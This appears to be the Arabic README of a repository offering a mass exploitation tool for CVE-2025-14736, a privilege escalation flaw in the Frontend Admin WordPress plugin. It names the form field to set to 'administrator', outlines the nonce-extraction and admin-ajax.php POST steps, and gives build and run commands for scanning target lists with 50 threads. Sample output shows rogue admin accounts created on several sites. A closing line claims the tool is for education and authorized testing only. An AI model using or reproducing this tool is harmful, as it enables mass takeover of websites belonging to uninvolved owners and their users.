hyunchiya/cve-2025-14736تصعيد صلاحيات بدون مصادقة إلى مسؤول عبر حقل الدور في النموذج
المؤلف: Hyun Chiya
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2025-14736 |
| الملحق | Frontend Admin by DynamiApps |
| الإصدارات المتأثرة | <= 3.28.25 |
| نوع الثغرة | تصعيد امتيازات بدون مصادقة |
| الخطورة | حرجة |
الملحق Frontend Admin في WordPress عرضة لتصعيد الامتيازات بدون مصادقة بسبب التحقق غير الكافي من الحقول التي يتحكم فيها المستخدم أثناء التسجيل. يمكن للمهاجمين حقن أدوار عشوائية، بما في ذلك administrator، من خلال التلاعب بحمولة إرسال النموذج.
يقع المنطق القابل للاستغلال في معالجة عمليات إرسال النماذج حيث يتم الوثوق بحقل role من إدخال المستخدم دون التحقق مما إذا كان المستخدم مخولًا لتعيين هذا الدور. تحديدًا، يمكن تعديل الحقل acff[user][field_user_role_ID] إلى administrator.
flowchart TD
A["Attacker visits Registration Page"] --> B["Extract Nonce (_acf_nonce) & Form ID (_acf_form)"]
B --> C["Construct POST payload with 'role'='administrator'"]
C --> D["POST to /wp-admin/admin-ajax.php"]
D --> E{"Verification"}
E -->|Success| F["New Admin User Created"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fffgo build -o mass_exploit.exe mass_exploit.go
.\mass_exploit.exe -l list.txt -t 50
| الوسيط | الوصف |
|---|---|
-l | مسار قائمة عناوين URL المستهدفة (الافتراضي: list.txt) |
-t | عدد الخيوط المتزامنة (الافتراضي: 10) |
-timeout | مهلة الطلب بالثواني (الافتراضي: 15) |
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14736 - Mass Exploit Tool ║
║ Frontend Admin by DynamiApps Privilege Escalation ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Loaded 500 targets. Starting scan with 50 threads...
[SUCCESS] http://target.com | User: hacker_mass | Pass: Password123! | FormID: 48
[SUCCESS] http://example.org | User: hacker_mass | Pass: Password123! | FormID: 32
[*] Scan complete.
تُقدَّم هذه الأداة لأغراض تعليمية واختبار أمني مصرّح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدمها بمسؤولية.
Hyun Chiya